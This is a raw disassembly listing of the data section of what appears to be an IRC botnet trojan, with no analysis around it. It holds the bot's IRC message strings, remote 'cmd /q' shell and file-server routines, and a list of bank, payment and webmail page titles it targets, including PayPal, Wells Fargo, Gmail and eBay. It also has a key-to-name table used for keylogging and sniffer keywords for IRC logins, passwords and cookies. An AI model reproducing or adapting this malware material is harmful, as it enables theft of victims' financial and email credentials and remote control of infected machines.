		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_4341E4	db 0Dh,0Ah,0		; DATA XREF: sub_40FAA3+2CFo
					; sub_41A9BC+F2o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FAA3+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FEFE+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FEFE+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FEFE+97o
					; sub_41AF2B+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FEFE+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FEFE:loc_40FF63o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FEFE+5Eo
		align 4
unk_434404	db  2Dh	; -		; DATA XREF: sub_410080+28Fo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_34	db ' failed to start worker thread, error %d',0
		align 4
unk_43443C	db  2Dh	; -		; DATA XREF: sub_410080+20Bo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_434470:				; DATA XREF: sub_410080+157o
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_410080+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_410330+64Eo
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410330+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_410330+618o
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_410330+589o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_410330+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_410330:loc_410848o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_410330+511o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_410330+471o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_410330+434o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_410330+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_410330:loc_4106F2o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_410330+3BBo
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_410330+374o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410330+330o
					; sub_410330+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_410330+30Eo
		align 10h
aS		db '<%s>',0             ; DATA XREF: sub_410330+2E4o
					; sub_410330+413o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_410330+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_410330+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_410330+285o
		align 10h
a__		db '..',0               ; DATA XREF: sub_410330+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410330+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410330+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410330+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410330+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_410330+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_410330+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410330+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410A9D+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_434918	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410D2Co
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410CD1o
dword_43495C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410C79o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start client thread, error: <%d>.',0
unk_4349C4	db  2Dh	; -		; DATA XREF: ___:00410E52o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_434A0C	db  2Dh	; -		; DATA XREF: ___:004110A4o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_36	db 'Failed to start connection thread, error: <%d>.',0
unk_434A4C	db  2Dh	; -		; DATA XREF: ___:00410FDBo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_434A90	db  2Dh	; -		; DATA XREF: ___:00411367o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_434ABC	db  2Dh	; -		; DATA XREF: ___:00411340o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_434AE8	db  2Dh	; -		; DATA XREF: ___:00411320o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:004112F0o
		align 4
unk_434B24	db  2Dh	; -		; DATA XREF: ___:0041125Fo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_434B50	db  2Dh	; -		; DATA XREF: sub_411383:loc_4113C8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_434B7C	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_4113DD+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_434D18	db  2Dh	; -		; DATA XREF: sub_411694+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434D4C	db  2Dh	; -		; DATA XREF: sub_411694+59o
					; sub_411694+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_434D94	db  2Dh	; -		; DATA XREF: sub_4117E5+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_434DBC	db  2Dh	; -		; DATA XREF: sub_4117E5+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434DFC	db  2Dh	; -		; DATA XREF: sub_4117E5+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434E3C	db  2Dh	; -		; DATA XREF: sub_4118DE+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_4118DE+8Co
		align 4
dword_434E7C	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_4119B7+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
		dd 342C3003h, 5E5E207Ch, 5E587256h, 37C205Eh, 7C312C30h
		dd 77305020h, 75467233h, 20796C6Ch, 2C31037Ch, 207C2038h
		dd 336E5730h, 203E2044h, 7325h
dword_435070	dd 6F672D65h, 646Ch, 1Eh dup(0)	; DATA XREF: ___:004125CDo
		dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aWindowsLiveMes	db 'Windows Live Messenger',0
		align 4
dword_435208	dd 1Ah dup(0)
aPaypal_1	db 'PayPal',0
		align 4
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 4
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
		dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog	db 'Terra - Fotolog',0
		dd 1Ch dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma	db 'Bienvenido a Gmail',0
		align 4
		dd 1Bh dup(0)
aWelcomeToGmail	db 'Welcome to Gmail',0
		align 4
		dd 1Bh dup(0)
aDomainNameRegi	db 'Domain Name Registration',0
		align 4
		dd 19h dup(0)
		dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin	db 'My Account Login',0
		align 4
		dd 1Bh dup(0)
aMercadolivreBr	db 'MercadoLivre Brasil',0
		dd 1Bh dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 4
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 4
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
		db  49h	; I
		db 6Eh,	69h, 63h
		db  69h	; i
		db 61h,	72h, 20h
		db  73h	; s
		db 65h,	73h, 69h
		db 0F3h	; ó
aNebayNewUsedEl	db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
		db 'ting goods & more at low prices',0
		align 10h
		dd 4 dup(0)
dword_435C70	dd 8, 62h, 62000000h, 2	dup(0) ; DATA XREF: ___:0041261Fo
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_4363DC	dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
					; DATA XREF: ___:004125EBo
					; sub_41AF2B+EBo
		dd 6E727574h, 25282029h, 2973h,	252EBB2Eh, 2EAB2E73h, 65522820h
		dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
		dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
		dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
		dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
		dd 2973h, 252EBB2Eh, 2EAB2E73h,	0
		dd offset off_436CE8
		dd offset off_436CE4
		dd offset off_436CE0
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:0043647Co
		align 10h
off_436CE0	dd offset word_505446	; DATA XREF: ___:00436478o
off_436CE4	dd offset dword_435208+41h ; DATA XREF:	___:00436474o
off_436CE8	dd offset word_544F42	; DATA XREF: ___:00436470o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
